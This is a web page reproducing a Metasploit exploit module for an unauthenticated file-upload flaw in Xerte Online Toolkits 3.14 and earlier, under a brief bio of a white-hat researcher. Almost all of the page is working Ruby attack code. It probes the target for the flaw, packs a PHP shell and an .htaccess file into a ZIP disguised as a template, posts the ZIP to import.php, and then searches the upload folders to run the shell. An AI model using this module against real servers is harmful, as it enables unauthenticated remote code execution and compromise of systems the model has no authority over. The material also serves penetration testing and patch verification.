Khalil Shreateh specializes in cybersecurity, particularly as a "white hat" hacker. He focuses on identifying and reporting security vulnerabilities in software and online platforms, with notable expertise in web application security. His most prominent work includes discovering a critical flaw in Facebook's system in 2013. Additionally, he develops free social media tools and browser extensions, contributing to digital security and user accessibility.

Get Rid of Ads!


Subscribe now for only $3 a month and enjoy an ad-free experience.

Contact us at khalil@khalil-shreateh.com

 

 

Xerte Online Toolkits 3.14 Template Import Shell Upload
Xerte Online Toolkits 3.14 Template Import Shell Upload
Xerte Online Toolkits 3.14 Template Import Shell Upload

##
# This module Xerte Online Toolkits 3.14 Template Import Shell Upload

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Xerte Online Toolkits Arbitrary File Upload - Unauthenticated Template Import',
'Description' => %q{
This module exploits an authentication bypass allowing arbitrary
file upload in versions 3.14 and earlier to upload and execute a shell.
Specifically, this targets /website_code/php/import/import.php

OPSEC
This module results in directories being created and database entries which can
not easily be cleaned up automatically.
},
'License' => MSF_LICENSE,
'Author' => [
'Brandon Lester',
],
'References' => [
['URL', 'https://blog.haicen.me/posts/xerte-online-toolkits/'],
['URL', 'https://www.xerte.org.uk/index.php/en/news/blog/80-news/357-xerte-3-13-en-3-14-important-security-update-now-available']
],
'Privileged' => false,
'Targets' => [
[
'PHP', {
'Platform' => 'php',
'Arch' => ARCH_PHP
}
]
],
'DisclosureDate' => '2025-08-04',
'DefaultTarget' => 0,
'Notes' => {
'Reliability' => [REPEATABLE_SESSION],
'Stability' => [CRASH_SAFE],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
}
)
)

register_options(
[
OptString.new('TARGETURI', [true, 'The path of a xerte installation', '/xerteonlinetoolkits'])
]
)
end

def check
print_status('Performing check')
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'website_code', 'php', 'language', 'import_language.php')
})
if res&.code == 200
if res.body.include?('No valid language definition found in the file!')
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
end
return Exploit::CheckCode::Safe
end

def http_send_command(_cmd)
# using for loop with the range
for a in 1..100 do
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'USER-FILES', "#{a}--Nottingham", 'media', php_filename)
})
next unless res&.code == 200

print_status("Found shell at #{a}")
register_file_for_cleanup(php_filename)
break
end
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'USER-FILES', "#{a}--Nottingham", 'media', php_filename)
})
end

def upload_payload_zip
# deliver the payload
zip = Rex::Zip::Archive.new
# add the payload to the zip archive, under a pre-defined location.
# this is cleaner opsec than the default languages directory, as that leaves difficult to delete artifacts.
# This has the added benefit of not needing to worry about the .htaccess restrictions.
zip.add_file("media/#{php_filename}", payload.encoded)
zip.add_file('media/.htaccess', htaccess_payload)
zip.add_file('data.xml', %q{
<learningObject targetFolder="site" language="" name="Project Title" theme="default">
<page linkID="PG1360232941652" name="Page Title" subtitle="Enter Page Subtitle">
<section linkID="PG1360232936371" name="This is section One"/>
</page>
</learningObject>
})
zip.add_file('mal-theme.info', %q{
name: mal-theme
display name: Flat: Black & Green
description: A Black and Green theme similar to the Apereo website colours e.g. Aztec header and footer, off white background, grey and green accents.
enabled: yes
preview: apereo.jpg
})
zip.add_file('template.xml', %q{
<learningObject editorVersion="3" targetFolder="Nottingham" name="Enter Project Title" language="" navigation="Linear" textSize="12" theme="xot1" themeIcons="false" displayMode="fill window" responsive="true" />
})

# add the zip archive to the post request
mime = Rex::MIME::Message.new
mime.add_part(zip.pack, 'application/zip', 'binary',
%(form-data; name="filenameuploaded"; filename="#{zip_filename}"))

send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'website_code', 'php', 'import', 'import.php'),
'ctype' => "multipart/form-data; boundary=#{mime.bound}",
'data' => mime.to_s
)
end

def exploit
upload_payload_zip
print_status('Uploaded the zip')
http_send_command(payload.encoded)
end

def php_filename
@php_filename ||= Rex::Text.rand_text_alpha(8) + '.php'
end

def htaccess_payload
<<~PAYLOAD
<IfModule mod_rewrite.c>
RewriteEngine Off
</IfModule>
PAYLOAD
end

def zip_filename
@zip_filename ||= Rex::Text.rand_text_alpha(8) + 'mal-template.zip'
end

end

Social Media Share